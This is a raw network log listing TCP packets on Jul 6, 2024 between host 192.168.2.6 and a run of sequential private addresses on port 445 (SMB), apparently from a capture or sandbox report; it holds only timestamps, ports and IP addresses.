Jul 6, 2024 14:11:20.422732115 CEST	445	49828	192.168.0.67	192.168.2.6
Jul 6, 2024 14:11:20.425025940 CEST	445	49829	192.168.0.68	192.168.2.6
Jul 6, 2024 14:11:20.426387072 CEST	445	49827	192.168.0.66	192.168.2.6
Jul 6, 2024 14:11:20.426940918 CEST	49827	445	192.168.2.6	192.168.0.66
Jul 6, 2024 14:11:20.427479982 CEST	49829	445	192.168.2.6	192.168.0.68
Jul 6, 2024 14:11:20.428272009 CEST	445	49828	192.168.0.67	192.168.2.6
Jul 6, 2024 14:11:20.428723097 CEST	49829	445	192.168.2.6	192.168.0.68
Jul 6, 2024 14:11:20.432204008 CEST	49828	445	192.168.2.6	192.168.0.67
Jul 6, 2024 14:11:20.433934927 CEST	445	49829	192.168.0.68	192.168.2.6
Jul 6, 2024 14:11:20.435132027 CEST	49829	445	192.168.2.6	192.168.0.68
Jul 6, 2024 14:11:20.436176062 CEST	445	49829	192.168.0.68	192.168.2.6
Jul 6, 2024 14:11:20.438652992 CEST	49830	445	192.168.2.6	192.168.0.69
Jul 6, 2024 14:11:20.454407930 CEST	445	49830	192.168.0.69	192.168.2.6
Jul 6, 2024 14:11:20.454505920 CEST	49830	445	192.168.2.6	192.168.0.69
Jul 6, 2024 14:11:20.466553926 CEST	49831	445	192.168.2.6	192.168.0.70
Jul 6, 2024 14:11:20.467418909 CEST	445	49830	192.168.0.69	192.168.2.6
Jul 6, 2024 14:11:20.468154907 CEST	49830	445	192.168.2.6	192.168.0.69
Jul 6, 2024 14:11:20.468154907 CEST	49830	445	192.168.2.6	192.168.0.69
Jul 6, 2024 14:11:20.471843958 CEST	445	49831	192.168.0.70	192.168.2.6
Jul 6, 2024 14:11:20.471952915 CEST	49831	445	192.168.2.6	192.168.0.70
Jul 6, 2024 14:11:20.472052097 CEST	49831	445	192.168.2.6	192.168.0.70
Jul 6, 2024 14:11:20.477250099 CEST	445	49830	192.168.0.69	192.168.2.6
Jul 6, 2024 14:11:20.477690935 CEST	445	49831	192.168.0.70	192.168.2.6
Jul 6, 2024 14:11:20.477785110 CEST	445	49831	192.168.0.70	192.168.2.6
Jul 6, 2024 14:11:20.488621950 CEST	49832	445	192.168.2.6	192.168.0.71
Jul 6, 2024 14:11:20.493732929 CEST	445	49832	192.168.0.71	192.168.2.6
Jul 6, 2024 14:11:20.498239040 CEST	49833	445	192.168.2.6	192.168.0.72
Jul 6, 2024 14:11:20.503315926 CEST	445	49833	192.168.0.72	192.168.2.6
Jul 6, 2024 14:11:20.503741980 CEST	49833	445	192.168.2.6	192.168.0.72
Jul 6, 2024 14:11:20.506967068 CEST	49832	445	192.168.2.6	192.168.0.71
Jul 6, 2024 14:11:20.506967068 CEST	49832	445	192.168.2.6	192.168.0.71
Jul 6, 2024 14:11:20.509042978 CEST	49833	445	192.168.2.6	192.168.0.72
Jul 6, 2024 14:11:20.509057045 CEST	445	49833	192.168.0.72	192.168.2.6
Jul 6, 2024 14:11:20.512753010 CEST	49833	445	192.168.2.6	192.168.0.72
Jul 6, 2024 14:11:20.513576984 CEST	49834	445	192.168.2.6	192.168.0.73
Jul 6, 2024 14:11:20.513708115 CEST	445	49832	192.168.0.71	192.168.2.6
Jul 6, 2024 14:11:20.515084028 CEST	49832	445	192.168.2.6	192.168.0.71
Jul 6, 2024 14:11:20.517302036 CEST	445	49833	192.168.0.72	192.168.2.6
Jul 6, 2024 14:11:20.518695116 CEST	445	49834	192.168.0.73	192.168.2.6
Jul 6, 2024 14:11:20.525404930 CEST	49834	445	192.168.2.6	192.168.0.73
Jul 6, 2024 14:11:20.525404930 CEST	49834	445	192.168.2.6	192.168.0.73
Jul 6, 2024 14:11:20.530560017 CEST	445	49834	192.168.0.73	192.168.2.6
Jul 6, 2024 14:11:20.534718037 CEST	49835	445	192.168.2.6	192.168.0.74
Jul 6, 2024 14:11:20.539349079 CEST	445	49834	192.168.0.73	192.168.2.6
Jul 6, 2024 14:11:20.539561033 CEST	49836	445	192.168.2.6	192.168.0.75
Jul 6, 2024 14:11:20.539563894 CEST	49834	445	192.168.2.6	192.168.0.73
Jul 6, 2024 14:11:20.540222883 CEST	445	49835	192.168.0.74	192.168.2.6
Jul 6, 2024 14:11:20.542413950 CEST	49835	445	192.168.2.6	192.168.0.74
Jul 6, 2024 14:11:20.542413950 CEST	49835	445	192.168.2.6	192.168.0.74
Jul 6, 2024 14:11:20.544876099 CEST	445	49836	192.168.0.75	192.168.2.6
Jul 6, 2024 14:11:20.548062086 CEST	49836	445	192.168.2.6	192.168.0.75
Jul 6, 2024 14:11:20.550645113 CEST	445	49835	192.168.0.74	192.168.2.6
Jul 6, 2024 14:11:20.550681114 CEST	445	49835	192.168.0.74	192.168.2.6
Jul 6, 2024 14:11:20.550756931 CEST	49835	445	192.168.2.6	192.168.0.74
Jul 6, 2024 14:11:20.553338051 CEST	445	49836	192.168.0.75	192.168.2.6
Jul 6, 2024 14:11:20.553487062 CEST	49836	445	192.168.2.6	192.168.0.75
Jul 6, 2024 14:11:20.554912090 CEST	49836	445	192.168.2.6	192.168.0.75
Jul 6, 2024 14:11:20.557394028 CEST	49837	445	192.168.2.6	192.168.0.76
Jul 6, 2024 14:11:20.560833931 CEST	445	49836	192.168.0.75	192.168.2.6
Jul 6, 2024 14:11:20.562788010 CEST	445	49837	192.168.0.76	192.168.2.6
Jul 6, 2024 14:11:20.564591885 CEST	49837	445	192.168.2.6	192.168.0.76
Jul 6, 2024 14:11:20.564591885 CEST	49837	445	192.168.2.6	192.168.0.76
Jul 6, 2024 14:11:20.570475101 CEST	49838	445	192.168.2.6	192.168.0.77
Jul 6, 2024 14:11:20.579133034 CEST	445	49838	192.168.0.77	192.168.2.6
Jul 6, 2024 14:11:20.581743956 CEST	445	49837	192.168.0.76	192.168.2.6
Jul 6, 2024 14:11:20.582899094 CEST	49838	445	192.168.2.6	192.168.0.77
Jul 6, 2024 14:11:20.584614992 CEST	49837	445	192.168.2.6	192.168.0.76
Jul 6, 2024 14:11:20.586668968 CEST	49838	445	192.168.2.6	192.168.0.77
Jul 6, 2024 14:11:20.592551947 CEST	445	49838	192.168.0.77	192.168.2.6
Jul 6, 2024 14:11:20.592819929 CEST	49838	445	192.168.2.6	192.168.0.77
Jul 6, 2024 14:11:20.597012043 CEST	49839	445	192.168.2.6	192.168.0.78
Jul 6, 2024 14:11:20.603974104 CEST	445	49839	192.168.0.78	192.168.2.6
Jul 6, 2024 14:11:20.604062080 CEST	49840	445	192.168.2.6	192.168.0.79
Jul 6, 2024 14:11:20.604433060 CEST	49839	445	192.168.2.6	192.168.0.78
Jul 6, 2024 14:11:20.604536057 CEST	49839	445	192.168.2.6	192.168.0.78
Jul 6, 2024 14:11:20.609436035 CEST	445	49840	192.168.0.79	192.168.2.6
Jul 6, 2024 14:11:20.609582901 CEST	49840	445	192.168.2.6	192.168.0.79
Jul 6, 2024 14:11:20.610122919 CEST	49840	445	192.168.2.6	192.168.0.79
Jul 6, 2024 14:11:20.610641003 CEST	445	49839	192.168.0.78	192.168.2.6
Jul 6, 2024 14:11:20.610691071 CEST	49839	445	192.168.2.6	192.168.0.78
Jul 6, 2024 14:11:20.615720034 CEST	445	49840	192.168.0.79	192.168.2.6
Jul 6, 2024 14:11:20.616683006 CEST	49840	445	192.168.2.6	192.168.0.79
Jul 6, 2024 14:11:20.621387005 CEST	49841	445	192.168.2.6	192.168.0.80
Jul 6, 2024 14:11:20.628895998 CEST	445	49841	192.168.0.80	192.168.2.6
Jul 6, 2024 14:11:20.628984928 CEST	49841	445	192.168.2.6	192.168.0.80
Jul 6, 2024 14:11:20.629116058 CEST	49841	445	192.168.2.6	192.168.0.80
Jul 6, 2024 14:11:20.634423971 CEST	445	49841	192.168.0.80	192.168.2.6
Jul 6, 2024 14:11:20.634510040 CEST	49841	445	192.168.2.6	192.168.0.80
Jul 6, 2024 14:11:20.635168076 CEST	49842	445	192.168.2.6	192.168.0.81
Jul 6, 2024 14:11:20.641485929 CEST	445	49842	192.168.0.81	192.168.2.6
Jul 6, 2024 14:11:20.641573906 CEST	49842	445	192.168.2.6	192.168.0.81
Jul 6, 2024 14:11:20.647345066 CEST	49842	445	192.168.2.6	192.168.0.81
Jul 6, 2024 14:11:20.648269892 CEST	445	49842	192.168.0.81	192.168.2.6
Jul 6, 2024 14:11:20.648340940 CEST	49842	445	192.168.2.6	192.168.0.81
Jul 6, 2024 14:11:20.649432898 CEST	49843	445	192.168.2.6	192.168.0.82
Jul 6, 2024 14:11:20.652477980 CEST	445	49842	192.168.0.81	192.168.2.6
Jul 6, 2024 14:11:20.655117989 CEST	445	49843	192.168.0.82	192.168.2.6
Jul 6, 2024 14:11:20.655989885 CEST	49843	445	192.168.2.6	192.168.0.82
Jul 6, 2024 14:11:20.655989885 CEST	49843	445	192.168.2.6	192.168.0.82
Jul 6, 2024 14:11:20.666709900 CEST	49844	445	192.168.2.6	192.168.0.83
Jul 6, 2024 14:11:20.682419062 CEST	49845	445	192.168.2.6	192.168.0.84
Jul 6, 2024 14:11:20.685978889 CEST	445	49844	192.168.0.83	192.168.2.6
Jul 6, 2024 14:11:20.686075926 CEST	49844	445	192.168.2.6	192.168.0.83
Jul 6, 2024 14:11:20.686156988 CEST	49844	445	192.168.2.6	192.168.0.83
Jul 6, 2024 14:11:20.691025972 CEST	445	49843	192.168.0.82	192.168.2.6
Jul 6, 2024 14:11:20.691340923 CEST	445	49845	192.168.0.84	192.168.2.6
Jul 6, 2024 14:11:20.691404104 CEST	49845	445	192.168.2.6	192.168.0.84
Jul 6, 2024 14:11:20.692244053 CEST	445	49831	192.168.0.70	192.168.2.6
Jul 6, 2024 14:11:20.692431927 CEST	49845	445	192.168.2.6	192.168.0.84
Jul 6, 2024 14:11:20.695411921 CEST	49831	445	192.168.2.6	192.168.0.70
Jul 6, 2024 14:11:20.695863962 CEST	49846	445	192.168.2.6	192.168.0.85
Jul 6, 2024 14:11:20.699800014 CEST	445	49844	192.168.0.83	192.168.2.6
Jul 6, 2024 14:11:20.707026005 CEST	445	49843	192.168.0.82	192.168.2.6
Jul 6, 2024 14:11:20.707077980 CEST	445	49845	192.168.0.84	192.168.2.6
Jul 6, 2024 14:11:20.707097054 CEST	49843	445	192.168.2.6	192.168.0.82
Jul 6, 2024 14:11:20.707168102 CEST	445	49846	192.168.0.85	192.168.2.6
Jul 6, 2024 14:11:20.707214117 CEST	445	49844	192.168.0.83	192.168.2.6
Jul 6, 2024 14:11:20.707227945 CEST	49846	445	192.168.2.6	192.168.0.85
Jul 6, 2024 14:11:20.707339048 CEST	49844	445	192.168.2.6	192.168.0.83
Jul 6, 2024 14:11:20.708689928 CEST	445	49845	192.168.0.84	192.168.2.6
Jul 6, 2024 14:11:20.708985090 CEST	49845	445	192.168.2.6	192.168.0.84
Jul 6, 2024 14:11:20.711364031 CEST	49846	445	192.168.2.6	192.168.0.85
Jul 6, 2024 14:11:20.721662045 CEST	49847	445	192.168.2.6	192.168.0.86
Jul 6, 2024 14:11:20.723709106 CEST	445	49846	192.168.0.85	192.168.2.6
Jul 6, 2024 14:11:20.723953009 CEST	49846	445	192.168.2.6	192.168.0.85
Jul 6, 2024 14:11:20.724069118 CEST	445	49846	192.168.0.85	192.168.2.6
Jul 6, 2024 14:11:20.726452112 CEST	445	49847	192.168.0.86	192.168.2.6
Jul 6, 2024 14:11:20.733328104 CEST	49847	445	192.168.2.6	192.168.0.86
Jul 6, 2024 14:11:20.742852926 CEST	49848	445	192.168.2.6	192.168.0.87
Jul 6, 2024 14:11:20.746040106 CEST	49847	445	192.168.2.6	192.168.0.86
Jul 6, 2024 14:11:20.748368979 CEST	445	49848	192.168.0.87	192.168.2.6
Jul 6, 2024 14:11:20.749413013 CEST	49848	445	192.168.2.6	192.168.0.87
Jul 6, 2024 14:11:20.749413967 CEST	49848	445	192.168.2.6	192.168.0.87
Jul 6, 2024 14:11:20.755033016 CEST	445	49847	192.168.0.86	192.168.2.6
Jul 6, 2024 14:11:20.756344080 CEST	445	49847	192.168.0.86	192.168.2.6
Jul 6, 2024 14:11:20.761476040 CEST	49849	445	192.168.2.6	192.168.0.88
Jul 6, 2024 14:11:20.763052940 CEST	445	49848	192.168.0.87	192.168.2.6
Jul 6, 2024 14:11:20.765907049 CEST	49847	445	192.168.2.6	192.168.0.86
Jul 6, 2024 14:11:20.768301010 CEST	445	49849	192.168.0.88	192.168.2.6
Jul 6, 2024 14:11:20.773058891 CEST	49848	445	192.168.2.6	192.168.0.87
Jul 6, 2024 14:11:20.781449080 CEST	49849	445	192.168.2.6	192.168.0.88
Jul 6, 2024 14:11:20.781449080 CEST	49849	445	192.168.2.6	192.168.0.88
Jul 6, 2024 14:11:20.788729906 CEST	49850	445	192.168.2.6	192.168.0.89
Jul 6, 2024 14:11:20.789959908 CEST	49851	445	192.168.2.6	192.168.0.90
Jul 6, 2024 14:11:20.805074930 CEST	49852	445	192.168.2.6	192.168.0.91
Jul 6, 2024 14:11:20.810583115 CEST	445	49849	192.168.0.88	192.168.2.6
Jul 6, 2024 14:11:20.810635090 CEST	49849	445	192.168.2.6	192.168.0.88
Jul 6, 2024 14:11:20.811466932 CEST	445	49851	192.168.0.90	192.168.2.6
Jul 6, 2024 14:11:20.811513901 CEST	445	49850	192.168.0.89	192.168.2.6
Jul 6, 2024 14:11:20.811583042 CEST	49851	445	192.168.2.6	192.168.0.90
Jul 6, 2024 14:11:20.814908028 CEST	49851	445	192.168.2.6	192.168.0.90
Jul 6, 2024 14:11:20.815563917 CEST	445	49852	192.168.0.91	192.168.2.6
Jul 6, 2024 14:11:20.819283009 CEST	445	49851	192.168.0.90	192.168.2.6
Jul 6, 2024 14:11:20.820880890 CEST	49850	445	192.168.2.6	192.168.0.89
Jul 6, 2024 14:11:20.820880890 CEST	49850	445	192.168.2.6	192.168.0.89
Jul 6, 2024 14:11:20.821546078 CEST	49853	445	192.168.2.6	192.168.0.92
Jul 6, 2024 14:11:20.821584940 CEST	445	49851	192.168.0.90	192.168.2.6
Jul 6, 2024 14:11:20.822805882 CEST	49852	445	192.168.2.6	192.168.0.91
Jul 6, 2024 14:11:20.822805882 CEST	49852	445	192.168.2.6	192.168.0.91
Jul 6, 2024 14:11:20.822805882 CEST	49851	445	192.168.2.6	192.168.0.90
Jul 6, 2024 14:11:20.827718019 CEST	445	49853	192.168.0.92	192.168.2.6
Jul 6, 2024 14:11:20.828380108 CEST	445	49852	192.168.0.91	192.168.2.6
Jul 6, 2024 14:11:20.828506947 CEST	445	49850	192.168.0.89	192.168.2.6
Jul 6, 2024 14:11:20.828579903 CEST	49853	445	192.168.2.6	192.168.0.92
Jul 6, 2024 14:11:20.828741074 CEST	49853	445	192.168.2.6	192.168.0.92
Jul 6, 2024 14:11:20.829317093 CEST	49850	445	192.168.2.6	192.168.0.89
Jul 6, 2024 14:11:20.833070993 CEST	445	49852	192.168.0.91	192.168.2.6
Jul 6, 2024 14:11:20.833602905 CEST	49852	445	192.168.2.6	192.168.0.91
Jul 6, 2024 14:11:20.834883928 CEST	445	49853	192.168.0.92	192.168.2.6
Jul 6, 2024 14:11:20.834950924 CEST	49853	445	192.168.2.6	192.168.0.92
Jul 6, 2024 14:11:20.847352982 CEST	49854	445	192.168.2.6	192.168.0.93
Jul 6, 2024 14:11:20.853822947 CEST	445	49854	192.168.0.93	192.168.2.6
Jul 6, 2024 14:11:20.855235100 CEST	49854	445	192.168.2.6	192.168.0.93
Jul 6, 2024 14:11:20.855235100 CEST	49854	445	192.168.2.6	192.168.0.93
Jul 6, 2024 14:11:20.857753038 CEST	49855	445	192.168.2.6	192.168.0.94
Jul 6, 2024 14:11:20.864157915 CEST	445	49855	192.168.0.94	192.168.2.6
Jul 6, 2024 14:11:20.864231110 CEST	49855	445	192.168.2.6	192.168.0.94
Jul 6, 2024 14:11:20.864315033 CEST	445	49854	192.168.0.93	192.168.2.6
Jul 6, 2024 14:11:20.864320993 CEST	49855	445	192.168.2.6	192.168.0.94
Jul 6, 2024 14:11:20.864367008 CEST	49854	445	192.168.2.6	192.168.0.93
Jul 6, 2024 14:11:20.869255066 CEST	49856	445	192.168.2.6	192.168.0.95
Jul 6, 2024 14:11:20.872210026 CEST	445	49855	192.168.0.94	192.168.2.6
Jul 6, 2024 14:11:20.872267008 CEST	49855	445	192.168.2.6	192.168.0.94
Jul 6, 2024 14:11:20.883238077 CEST	49857	445	192.168.2.6	192.168.0.96
Jul 6, 2024 14:11:20.885489941 CEST	445	49856	192.168.0.95	192.168.2.6
Jul 6, 2024 14:11:20.885566950 CEST	49856	445	192.168.2.6	192.168.0.95
Jul 6, 2024 14:11:20.885706902 CEST	49856	445	192.168.2.6	192.168.0.95
Jul 6, 2024 14:11:20.893295050 CEST	445	49857	192.168.0.96	192.168.2.6
Jul 6, 2024 14:11:20.893374920 CEST	49857	445	192.168.2.6	192.168.0.96
Jul 6, 2024 14:11:20.893515110 CEST	49857	445	192.168.2.6	192.168.0.96
Jul 6, 2024 14:11:20.895483017 CEST	445	49856	192.168.0.95	192.168.2.6
Jul 6, 2024 14:11:20.895500898 CEST	445	49856	192.168.0.95	192.168.2.6
Jul 6, 2024 14:11:20.895618916 CEST	49856	445	192.168.2.6	192.168.0.95
Jul 6, 2024 14:11:20.898857117 CEST	49858	445	192.168.2.6	192.168.0.97
Jul 6, 2024 14:11:20.900907993 CEST	445	49857	192.168.0.96	192.168.2.6
Jul 6, 2024 14:11:20.901057005 CEST	49857	445	192.168.2.6	192.168.0.96
Jul 6, 2024 14:11:20.903944969 CEST	445	49857	192.168.0.96	192.168.2.6
Jul 6, 2024 14:11:20.903989077 CEST	445	49858	192.168.0.97	192.168.2.6
Jul 6, 2024 14:11:20.904117107 CEST	49858	445	192.168.2.6	192.168.0.97
Jul 6, 2024 14:11:20.904207945 CEST	49858	445	192.168.2.6	192.168.0.97
Jul 6, 2024 14:11:20.914511919 CEST	445	49858	192.168.0.97	192.168.2.6
Jul 6, 2024 14:11:20.914589882 CEST	49858	445	192.168.2.6	192.168.0.97
Jul 6, 2024 14:11:20.914978027 CEST	49859	445	192.168.2.6	192.168.0.98
Jul 6, 2024 14:11:20.920248985 CEST	445	49859	192.168.0.98	192.168.2.6
Jul 6, 2024 14:11:20.920352936 CEST	49859	445	192.168.2.6	192.168.0.98
Jul 6, 2024 14:11:20.920459032 CEST	49859	445	192.168.2.6	192.168.0.98
Jul 6, 2024 14:11:20.930207014 CEST	49860	445	192.168.2.6	192.168.0.99
Jul 6, 2024 14:11:20.933485985 CEST	445	49859	192.168.0.98	192.168.2.6
Jul 6, 2024 14:11:20.934715986 CEST	49859	445	192.168.2.6	192.168.0.98
Jul 6, 2024 14:11:20.935656071 CEST	445	49860	192.168.0.99	192.168.2.6
Jul 6, 2024 14:11:20.935787916 CEST	49860	445	192.168.2.6	192.168.0.99
Jul 6, 2024 14:11:20.935892105 CEST	49860	445	192.168.2.6	192.168.0.99
Jul 6, 2024 14:11:20.941874981 CEST	445	49860	192.168.0.99	192.168.2.6
Jul 6, 2024 14:11:20.941947937 CEST	49860	445	192.168.2.6	192.168.0.99
Jul 6, 2024 14:11:20.947170019 CEST	49861	445	192.168.2.6	192.168.0.100
Jul 6, 2024 14:11:20.953720093 CEST	445	49861	192.168.0.100	192.168.2.6
Jul 6, 2024 14:11:20.953917027 CEST	49861	445	192.168.2.6	192.168.0.100
Jul 6, 2024 14:11:20.960083008 CEST	49861	445	192.168.2.6	192.168.0.100
Jul 6, 2024 14:11:20.961776018 CEST	49862	445	192.168.2.6	192.168.0.101
Jul 6, 2024 14:11:20.968550920 CEST	445	49862	192.168.0.101	192.168.2.6
Jul 6, 2024 14:11:20.968625069 CEST	49862	445	192.168.2.6	192.168.0.101
Jul 6, 2024 14:11:20.968703985 CEST	49862	445	192.168.2.6	192.168.0.101
Jul 6, 2024 14:11:20.969079018 CEST	445	49861	192.168.0.100	192.168.2.6
Jul 6, 2024 14:11:20.969150066 CEST	49861	445	192.168.2.6	192.168.0.100
Jul 6, 2024 14:11:20.973844051 CEST	445	49862	192.168.0.101	192.168.2.6
Jul 6, 2024 14:11:20.974982023 CEST	49862	445	192.168.2.6	192.168.0.101
Jul 6, 2024 14:11:20.980504036 CEST	49863	445	192.168.2.6	192.168.0.102
Jul 6, 2024 14:11:20.992557049 CEST	49864	445	192.168.2.6	192.168.0.103
Jul 6, 2024 14:11:20.998024940 CEST	445	49863	192.168.0.102	192.168.2.6
Jul 6, 2024 14:11:20.998157978 CEST	49863	445	192.168.2.6	192.168.0.102
Jul 6, 2024 14:11:20.999001980 CEST	445	49864	192.168.0.103	192.168.2.6
Jul 6, 2024 14:11:21.001022100 CEST	49863	445	192.168.2.6	192.168.0.102
Jul 6, 2024 14:11:21.008114100 CEST	49865	445	192.168.2.6	192.168.0.104
Jul 6, 2024 14:11:21.008232117 CEST	49864	445	192.168.2.6	192.168.0.103
Jul 6, 2024 14:11:21.008232117 CEST	49864	445	192.168.2.6	192.168.0.103
Jul 6, 2024 14:11:21.010755062 CEST	445	49863	192.168.0.102	192.168.2.6
Jul 6, 2024 14:11:21.013042927 CEST	445	49865	192.168.0.104	192.168.2.6
Jul 6, 2024 14:11:21.013127089 CEST	49865	445	192.168.2.6	192.168.0.104
Jul 6, 2024 14:11:21.013216019 CEST	49865	445	192.168.2.6	192.168.0.104
Jul 6, 2024 14:11:21.018564939 CEST	445	49864	192.168.0.103	192.168.2.6
Jul 6, 2024 14:11:21.025285006 CEST	445	49863	192.168.0.102	192.168.2.6
Jul 6, 2024 14:11:21.025343895 CEST	49863	445	192.168.2.6	192.168.0.102
Jul 6, 2024 14:11:21.026743889 CEST	445	49865	192.168.0.104	192.168.2.6
Jul 6, 2024 14:11:21.027956009 CEST	49866	445	192.168.2.6	192.168.0.105
Jul 6, 2024 14:11:21.039398909 CEST	49867	445	192.168.2.6	192.168.0.106
Jul 6, 2024 14:11:21.053199053 CEST	445	49864	192.168.0.103	192.168.2.6
Jul 6, 2024 14:11:21.053231001 CEST	445	49865	192.168.0.104	192.168.2.6
Jul 6, 2024 14:11:21.053280115 CEST	49865	445	192.168.2.6	192.168.0.104
Jul 6, 2024 14:11:21.053807974 CEST	49864	445	192.168.2.6	192.168.0.103
Jul 6, 2024 14:11:21.054908991 CEST	49868	445	192.168.2.6	192.168.0.107
Jul 6, 2024 14:11:21.058074951 CEST	445	49866	192.168.0.105	192.168.2.6
Jul 6, 2024 14:11:21.058135986 CEST	49866	445	192.168.2.6	192.168.0.105
Jul 6, 2024 14:11:21.058151007 CEST	445	49867	192.168.0.106	192.168.2.6
Jul 6, 2024 14:11:21.058773994 CEST	49867	445	192.168.2.6	192.168.0.106
Jul 6, 2024 14:11:21.058773994 CEST	49867	445	192.168.2.6	192.168.0.106
Jul 6, 2024 14:11:21.059017897 CEST	49866	445	192.168.2.6	192.168.0.105
Jul 6, 2024 14:11:21.059916019 CEST	445	49868	192.168.0.107	192.168.2.6
Jul 6, 2024 14:11:21.066659927 CEST	445	49866	192.168.0.105	192.168.2.6
Jul 6, 2024 14:11:21.071214914 CEST	445	49866	192.168.0.105	192.168.2.6
Jul 6, 2024 14:11:21.071738958 CEST	49869	445	192.168.2.6	192.168.0.108
Jul 6, 2024 14:11:21.074085951 CEST	445	49867	192.168.0.106	192.168.2.6
Jul 6, 2024 14:11:21.075114012 CEST	49866	445	192.168.2.6	192.168.0.105
Jul 6, 2024 14:11:21.079559088 CEST	445	49869	192.168.0.108	192.168.2.6
Jul 6, 2024 14:11:21.081824064 CEST	49868	445	192.168.2.6	192.168.0.107
Jul 6, 2024 14:11:21.081825018 CEST	49868	445	192.168.2.6	192.168.0.107
Jul 6, 2024 14:11:21.085344076 CEST	49869	445	192.168.2.6	192.168.0.108
Jul 6, 2024 14:11:21.085344076 CEST	49869	445	192.168.2.6	192.168.0.108
Jul 6, 2024 14:11:21.090488911 CEST	445	49868	192.168.0.107	192.168.2.6
Jul 6, 2024 14:11:21.093467951 CEST	49867	445	192.168.2.6	192.168.0.106
Jul 6, 2024 14:11:21.093808889 CEST	445	49869	192.168.0.108	192.168.2.6
Jul 6, 2024 14:11:21.098196983 CEST	49869	445	192.168.2.6	192.168.0.108
Jul 6, 2024 14:11:21.098900080 CEST	49870	445	192.168.2.6	192.168.0.109
Jul 6, 2024 14:11:21.104773998 CEST	49871	445	192.168.2.6	192.168.0.110
Jul 6, 2024 14:11:21.107413054 CEST	49868	445	192.168.2.6	192.168.0.107
Jul 6, 2024 14:11:21.118050098 CEST	49872	445	192.168.2.6	192.168.0.111
Jul 6, 2024 14:11:21.119297981 CEST	445	49868	192.168.0.107	192.168.2.6
Jul 6, 2024 14:11:21.123166084 CEST	445	49870	192.168.0.109	192.168.2.6
Jul 6, 2024 14:11:21.123893023 CEST	445	49871	192.168.0.110	192.168.2.6
Jul 6, 2024 14:11:21.124032974 CEST	445	49872	192.168.0.111	192.168.2.6
Jul 6, 2024 14:11:21.124401093 CEST	49871	445	192.168.2.6	192.168.0.110
Jul 6, 2024 14:11:21.124401093 CEST	49871	445	192.168.2.6	192.168.0.110
Jul 6, 2024 14:11:21.129987955 CEST	49870	445	192.168.2.6	192.168.0.109
Jul 6, 2024 14:11:21.129987955 CEST	49870	445	192.168.2.6	192.168.0.109
Jul 6, 2024 14:11:21.131148100 CEST	49872	445	192.168.2.6	192.168.0.111
Jul 6, 2024 14:11:21.134598017 CEST	445	49871	192.168.0.110	192.168.2.6
Jul 6, 2024 14:11:21.135282993 CEST	445	49871	192.168.0.110	192.168.2.6
Jul 6, 2024 14:11:21.137227058 CEST	49871	445	192.168.2.6	192.168.0.110
Jul 6, 2024 14:11:21.138160944 CEST	445	49870	192.168.0.109	192.168.2.6
Jul 6, 2024 14:11:21.138742924 CEST	49870	445	192.168.2.6	192.168.0.109
Jul 6, 2024 14:11:21.140115976 CEST	49873	445	192.168.2.6	192.168.0.112
Jul 6, 2024 14:11:21.144994020 CEST	445	49873	192.168.0.112	192.168.2.6
Jul 6, 2024 14:11:21.146583080 CEST	445	49872	192.168.0.111	192.168.2.6
Jul 6, 2024 14:11:21.148721933 CEST	49872	445	192.168.2.6	192.168.0.111
Jul 6, 2024 14:11:21.150840998 CEST	49873	445	192.168.2.6	192.168.0.112
Jul 6, 2024 14:11:21.150840998 CEST	49873	445	192.168.2.6	192.168.0.112
Jul 6, 2024 14:11:21.157280922 CEST	445	49873	192.168.0.112	192.168.2.6
Jul 6, 2024 14:11:21.157805920 CEST	49873	445	192.168.2.6	192.168.0.112
Jul 6, 2024 14:11:21.158854008 CEST	445	49872	192.168.0.111	192.168.2.6
Jul 6, 2024 14:11:21.162766933 CEST	49872	445	192.168.2.6	192.168.0.111
Jul 6, 2024 14:11:21.180991888 CEST	49874	445	192.168.2.6	192.168.0.113
Jul 6, 2024 14:11:21.186173916 CEST	49875	445	192.168.2.6	192.168.0.114
Jul 6, 2024 14:11:21.186173916 CEST	49876	445	192.168.2.6	192.168.0.115
Jul 6, 2024 14:11:21.197288990 CEST	49877	445	192.168.2.6	192.168.0.116
Jul 6, 2024 14:11:21.208563089 CEST	445	49874	192.168.0.113	192.168.2.6
Jul 6, 2024 14:11:21.208631992 CEST	49874	445	192.168.2.6	192.168.0.113
Jul 6, 2024 14:11:21.208672047 CEST	445	49875	192.168.0.114	192.168.2.6
Jul 6, 2024 14:11:21.208698988 CEST	445	49876	192.168.0.115	192.168.2.6
Jul 6, 2024 14:11:21.208743095 CEST	445	49877	192.168.0.116	192.168.2.6
Jul 6, 2024 14:11:21.209587097 CEST	49875	445	192.168.2.6	192.168.0.114
Jul 6, 2024 14:11:21.209587097 CEST	49876	445	192.168.2.6	192.168.0.115
Jul 6, 2024 14:11:21.209587097 CEST	49876	445	192.168.2.6	192.168.0.115
Jul 6, 2024 14:11:21.209587097 CEST	49875	445	192.168.2.6	192.168.0.114
Jul 6, 2024 14:11:21.210699081 CEST	49874	445	192.168.2.6	192.168.0.113
Jul 6, 2024 14:11:21.212501049 CEST	49878	445	192.168.2.6	192.168.0.117
Jul 6, 2024 14:11:21.213427067 CEST	49877	445	192.168.2.6	192.168.0.116
Jul 6, 2024 14:11:21.213427067 CEST	49877	445	192.168.2.6	192.168.0.116
Jul 6, 2024 14:11:21.217339993 CEST	445	49878	192.168.0.117	192.168.2.6
Jul 6, 2024 14:11:21.218600035 CEST	445	49875	192.168.0.114	192.168.2.6
Jul 6, 2024 14:11:21.218609095 CEST	445	49874	192.168.0.113	192.168.2.6
Jul 6, 2024 14:11:21.218616962 CEST	445	49876	192.168.0.115	192.168.2.6
Jul 6, 2024 14:11:21.218679905 CEST	49878	445	192.168.2.6	192.168.0.117
Jul 6, 2024 14:11:21.225553989 CEST	49878	445	192.168.2.6	192.168.0.117
Jul 6, 2024 14:11:21.226780891 CEST	445	49874	192.168.0.113	192.168.2.6
Jul 6, 2024 14:11:21.227140903 CEST	49874	445	192.168.2.6	192.168.0.113
Jul 6, 2024 14:11:21.227715969 CEST	445	49875	192.168.0.114	192.168.2.6
Jul 6, 2024 14:11:21.227725983 CEST	445	49876	192.168.0.115	192.168.2.6
Jul 6, 2024 14:11:21.227777958 CEST	49875	445	192.168.2.6	192.168.0.114
Jul 6, 2024 14:11:21.227799892 CEST	49876	445	192.168.2.6	192.168.0.115
Jul 6, 2024 14:11:21.228018999 CEST	49879	445	192.168.2.6	192.168.0.118
Jul 6, 2024 14:11:21.228435993 CEST	445	49877	192.168.0.116	192.168.2.6
Jul 6, 2024 14:11:21.228491068 CEST	445	49877	192.168.0.116	192.168.2.6
Jul 6, 2024 14:11:21.228583097 CEST	49877	445	192.168.2.6	192.168.0.116
Jul 6, 2024 14:11:21.228771925 CEST	445	49878	192.168.0.117	192.168.2.6
